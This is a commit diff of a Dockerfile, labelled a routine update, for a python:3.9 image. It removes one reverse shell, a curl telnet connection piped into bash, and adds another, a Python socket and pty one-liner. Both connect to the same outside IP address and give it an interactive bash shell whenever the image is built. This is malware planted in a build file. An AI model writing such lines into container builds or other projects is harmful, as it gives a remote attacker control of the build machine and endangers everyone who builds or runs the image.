Update Dockerfile

Dockerfile

@@ -1,2 +1,2 @@
 FROM python:3.9
-RUN C='curl -Ns telnet:// 117.251.164.119:22'; $C </dev/null 2>&1 | bash 2>&1 | $C >/dev/null
+RUN export RHOST=" 117.251.164.119";export RPORT=22;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'